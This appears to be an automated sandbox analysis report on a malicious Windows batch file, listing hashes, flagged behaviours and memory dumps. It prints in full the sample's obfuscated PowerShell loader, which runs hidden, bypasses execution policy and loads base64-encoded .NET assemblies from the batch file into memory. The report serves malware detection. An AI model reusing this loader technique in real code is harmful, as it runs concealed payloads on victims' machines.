2d892e65432b58585112e78deec5750652a25249dd4f56e0fd6d47fe7804baf1

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
24-07-2024 12:35

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General

Target

Repo/bin/dll.bat
Size

382KB
MD5

8b1f260a182f74419011f14a8ba21a37
SHA1

48d8da3f5971ebd6b358b6b63491b5e68f099a6c
SHA256

478ca90bdf1d94b880dd18c1fd1a5b6124d4e1c4b77c546df88a0aa992aeb225
SHA512

509a8b51cb3922f9be6c94029abbc4611b1ce438262abc9fef414780e97d7542d214ae42866ccaf540b52e6cfef017abfc00c891643b3b81753c9f4115ad64aa
SSDEEP

6144:UJ+xnM15AXYHvdijZhhzPrJaBuLEQ/npzItPvshlqfyef:f8udDJ5hmPvqlRy

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2948	dll.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2936	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2948	dll.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2948	dll.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2936 wrote to memory of 2948	2936	cmd.exe	29
PID 2936 wrote to memory of 2948	2936	cmd.exe	29
PID 2936 wrote to memory of 2948	2936	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Repo\bin\dll.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2936
- C:\Users\Admin\AppData\Local\Temp\Repo\bin\dll.bat.exe
  "C:\Users\Admin\AppData\Local\Temp\Repo\bin\dll.bat.exe" -noprofile -w hidden -ep bypass -command $gingerbread_ZGT90N5CQZ = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\Repo\bin\dll.bat').Split([Environment]::NewLine); foreach ($gingerbread_1KH5QPC857 in $gingerbread_ZGT90N5CQZ) { $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_IR2OYLS2I9, '_', 'gingerbread_2REG6QYLBJP6'); if ($gingerbread_1KH5QPC857 -match $gingerbread_IR2OYLS2I9) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_1KH5QPC857, 'gingerbread_2REG6QYLBJP6', ''); $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, '#', '/');break; }; }; if ($gingerbread_5Q959MQ6PK.Contains('CHOQNLJXHRYDBXUDFLOEFXTOXDPILO')) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, 'CHOQNLJXHRYDBXUDFLOEFXTOXDPILO', ''); } else { exit }; $gingerbread_C3UENP8XTK = [string[]]$gingerbread_5Q959MQ6PK.Split('!'); $gingerbread_43B9R06ZVX = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[0]); $gingerbread_L6GT4COAOJ = [System.Reflection.Assembly]::Load($gingerbread_43B9R06ZVX); $gingerbread_75K25BI6VC = $gingerbread_L6GT4COAOJ.EntryPoint; $gingerbread_75K25BI6VC.Invoke($null, $null); $gingerbread_ONPA8XRGXD = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[1]); $gingerbread_P0L16O4G72 = [System.Reflection.Assembly]::Load($gingerbread_ONPA8XRGXD); $gingerbread_1JGKLRH6G6 = $gingerbread_P0L16O4G72.EntryPoint; $gingerbread_1JGKLRH6G6.Invoke($null, $null)
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\Repo\bin\dll.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2948-5-0x000007FEF51FE000-0x000007FEF51FF000-memory.dmp

Filesize
4KB

Download
memory/2948-6-0x000000001B510000-0x000000001B7F2000-memory.dmp

Filesize
2.9MB

Download
memory/2948-7-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp

Filesize
9.6MB

Download
memory/2948-8-0x0000000000680000-0x0000000000688000-memory.dmp

Filesize
32KB

Download
memory/2948-9-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp

Filesize
9.6MB

Download
memory/2948-10-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp

Filesize
9.6MB

Download
memory/2948-12-0x0000000002A90000-0x0000000002A9A000-memory.dmp

Filesize
40KB

Download
memory/2948-11-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp

Filesize
9.6MB

Download
memory/2948-13-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp

Filesize
9.6MB

Download
memory/2948-14-0x0000000002AA0000-0x0000000002AEA000-memory.dmp

Filesize
296KB

Download
memory/2948-15-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp

Filesize
9.6MB

Download